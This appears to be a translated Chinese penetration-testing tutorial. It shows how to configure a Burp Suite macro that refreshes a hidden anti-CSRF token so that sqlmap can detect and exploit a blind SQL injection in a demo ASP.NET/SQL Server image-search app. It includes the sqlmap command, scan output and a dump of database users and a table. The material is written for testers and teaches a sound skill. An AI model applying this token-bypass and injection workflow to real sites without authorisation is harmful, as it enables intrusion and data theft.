导语:有许多工具可用于Web应用程序自动化测试。最著名的工具可能是sqlmap。 通过一些简单的命令,Sqlmap就可以轻松地识别和利用SQL注入漏洞。

有许多工具可用于Web应用程序自动化测试。最著名的工具可能是sqlmap。 通过一些简单的命令,Sqlmap就可以轻松地识别和利用SQL注入漏洞。然而,诸如CSRF令牌或一些简单的反自动化技术,例如在表单中包含一个唯一的隐藏字段,就可以防止自动化工具正确工作。 Burp Suite中的宏是绕过这些防护措施以便能够执行自动化测试的好方法,尽管那些防护措施实现起来可能很复杂。

在这篇文章中,我们会使用一个示例应用程序,用户可以在此应用程序中搜索动物的图片:

1489048358593084.png

这个Web应用程序使用ASP.NET开发,后端数据库是SQL Server。 该应用程序存在一处SQL盲注漏洞。如下图所示:

1489048394140723.png

查看页面源代码,我们可以看到在表单中有一个隐藏的输入字段(token),其值为一个GUID:

<form method="post" action="./" id="form1">
    <div>
        <input name="txtQuery" type="text" id="txtQuery" style="width:270px;" />
        <input type="submit" name="btnSearch" value="Search" id="btnSearch" />
        <input type="hidden" name="token" id="token" value="012aedf8-412a-4418-bd76-cf61f13ec22f" />
    </div>
    </form>
    <span id="lblResultText"></span>
    <br />
</body>
</html>

服务器每次响应时都会生成新的表单Token,并且如果在POST请求表单中该表单Token不匹配,网页就会报错,如下图:

1489048434743352.png

所以,已知了这一切,就先让我们看看当我们尝试用sqlmap而不使用宏来修改请求时会发生什么。 我们运行如下命令:

$ sqlmap -u http://10.99.10.20:8080 --method=POST --data= "__VIEWSTATE=ThFsV9HLtQRaOW3ksjD%2F8jPJ%2BK4oYtIZJ9UZjSdVZecr9MFluyVQIMvZTKyg3Q1eCjcahMgDNYnhBeQIA2FCGq1HaWWj8WE3CPXbXZc5j3I%3D&__VIEWSTATEGENERATOR=CA0B0334&__EVENTVALIDATION=3OHOMEoCmtD5YRvASiOGybpufR%2BFQoZetngO2sq5zb9YFl3HtW%2BBzrISbPZE58dZtG6LsC6qns%2BlotceoeBunvTMcKLH8MIyzmxk3PoHuiWpavLOqJGozuk6py0DvKaWvWHDuFZO1QU2dfG5yPZ29nTLapvb3KcAPWAMDBI25FM%3D&txtQuery=cat&btnSearch=Search&token=77d5a318-c2b0-466d-a4ba-b8c5d155c54f" --proxy=http://127.0.0.1:8080 -p txtQuery

我们从sqlmap的输出中注意到的第一件事是重定向到错误页面:

[16:42:45] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://10.99.10.20:8080/error.html?aspxerrorpath=/default.aspx'. Do you want to follow? [Y/n]

不过,很明显这对于sqlmap来说找到并利用SQLi的希望并不大。不过,还是让我们继续这个过程,看看会发生什么。

[16:45:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[16:45:58] [INFO] testing 'Oracle AND time-based blind'
[16:45:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[16:45:58] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it with option '--dbms'
[16:46:02] [WARNING] POST parameter 'txtQuery' does not seem to be injectable
[16:46:02] [CRITICAL] all tested parameters appear to be not injectable.

Okay,sqlmap似乎认为该参数不可注入; 但我们知道这里的确存在一处SQLi。让我们现在创建一个Burp宏,它将用一个新的表单Token替换请求中的“token”参数,以便我们可以使用sqlmap继续利用此SQLi漏洞。

Burp Suite中的宏实际上是一系列HTTP请求,这些请求会在由Burp代理的请求发送到服务器之前进行请求。一旦已经执行了宏请求,则从最终的宏请求的响应中取得的参数集合就可以被传递到调用宏的请求中。

首先要做的是记录我们想要的一系列HTTP请求。 在本文这种场景中,只有一个请求:对服务器的GET请求也就是获取token的请求。 “宏”可用于执行复杂的操作,例如登录应用程序和检索Cookie。 在Burp Suite中,转到“项目选项”选项卡和“会话”子选项卡。如下图:

1489048492174466.png

向下滚动到“Macros”(宏)部分,然后单击添加。

1489048521587939.png

将弹出两个对话框。 第一个是宏编辑器,第二个是宏记录器。 为了确定我们想要执行的一系列请求,我们需要“记录”我们想要创建的宏。可以通过两种方式完成:我们现在可以执行我们想要做为宏的一部分的操作(即浏览登录页面,发送特定的GET请求等),然后从列表中选择登录和特定操作的HTTP请求; 或者直接在“代理历史列表”(Proxy –> HTTP History)中选择已经存在的HTTP请求。在本文的示例中,我们只需要找到一个请求,如下图:

1489048552324001.png

一旦选中我们所需的请求(高亮显示的那一个),点击ok,然后我们进入了宏编辑器。

1489048587425793.png

从这里,我们将需要对截获的请求进行一个小的更改。 选中请求,单击右侧的“配置项目”(Configure item),将显示“配置宏项目”的对话框。 然后,点击“自定义响应的参数位置”中的添加按钮。

1489048622749917.png

然后,我们需要在HTTP响应体中定位我们要的参数——token,Burp会高亮显示我们要提取的值,设置参数的名称,以便在宏完成后可以将其传递给最终的HTTP请求。

1489048657799953.png

当我们在响应中高亮显示我们所需的值的时候,“定义开始和结束”这一部分会自动完成。 所有其他设置可以保留为默认值。 单击确定关闭“定义自定义参数”的对话框,单击确定关闭“配置宏项目”的对话框,最后再次单击确定以关闭宏编辑器。

现在我们创建了我们想要的宏,但是我们仍然需要实现会话处理规则,以允许宏对所需的请求进行操作。 在“会话”选项卡上,转到“会话处理规则”部分,然后单击添加按钮。如下图:

1489048695545831.png

当对话框弹出时,单击“规则操作”下的添加,然后从下拉菜单中选择“运行宏”。

1489048728939862.png

之后会打开“会话处理操作编辑器”。 在这里我们选择我们之前添加的宏,然后选择“仅更新以下参数”,并将我们的参数添加到列表中。 如果我们需要根据宏的最终请求修改cookie,那么我们也可以在这里进行添加。本文的演示示例不需要设置cookie。

1489048766733141.png

单击OK关闭此对话框,然后单击会话处理规则编辑器的“范围(Scope)”标签页。

1489048797208498.png

这里我们需要定义受规则影响的请求的范围。在“Tools Scope”下,默认情况下不会选择代理(因为如果没有正确配置的话,可能会影响通过Burp代理的每一个请求)。为了使用此规则与sqlmap一起工作,我们必须选中“Proxy”。为了限制范围,我们使用“Use suite scope”选项,本文的演示仅包括示例站点。最后,我们将“参数范围”限制为仅影响包含“token”参数的请求,因为这是我们真正需要修改的请求。单击“OK”关闭对话框。

上述设置就是我们需要配置的一个宏来自动修改sqlmap的请求。现在,当sqlmap的请求通过代理时,Burp将首先向服务器发出GET请求,并使用从GET请求中提取的token参数的值替换sqlmap的POST请求中的“token”参数的值。

N.B:Burp不会在“代理历史记录”列表中显示被宏修改过的HTTP请求,因此如果你想确认你添加的宏是否按预期工作,那么你可以打开 “项目选项”标签页中的“会话”选项卡中的会话跟踪器来进行观察。在会话跟踪器里可以按照请求顺序挨个查看通过会话处理规则的处理过的每一个请求,所以,你将能够观察对请求所做的任何更改。

一旦启用了我们添加的宏,sqlmap应该就能够正确地识别我们示例网站中的SQL注入漏洞了,并能够成功利用此漏洞:

[20:38:09] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase stacked queries (comment)' injectable
[20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[20:38:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF - comment)'
[20:38:19] [INFO] POST parameter 'txtQuery' appears to be 'Microsoft SQL Server/Sybase time-based blind (IF - comment)' injectable
[20:38:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:38:19] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:38:19] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:38:19] [INFO] target URL appears to have 1 column in query
[20:38:20] [INFO] POST parameter 'txtQuery' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'txtQuery' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

可以看到,sqlmap发现参数是易受攻击的,我们现在可以使用sqlmap来提取数据,如用户和表:

[20:41:46] [INFO] fetching database users
[20:41:46] [WARNING] reflective value(s) found and filtering out
[20:41:46] [INFO] the SQL query used returns 2 entries
[20:41:46] [INFO] retrieved: animals
[20:41:47] [INFO] retrieved: sa
database management system users [2]:                                                                                                                                                                            
[*] animals
[*] sa
<…SNIP…>
[20:42:44] [INFO] analyzing table dump for possible password hashes
Database: Animals
Table: AnimalImages
[4 entries]
+----+-----------+-------------+
| ID | imageData | description |
+----+-----------+-------------+
| 1  |  blank    | dog         |
| 2  |  blank    | cat         |
| 3  |  blank    | mouse       |
| 4  |  blank    | musk ox     |
+----+-----------+-------------+

源链接

Hacking more

...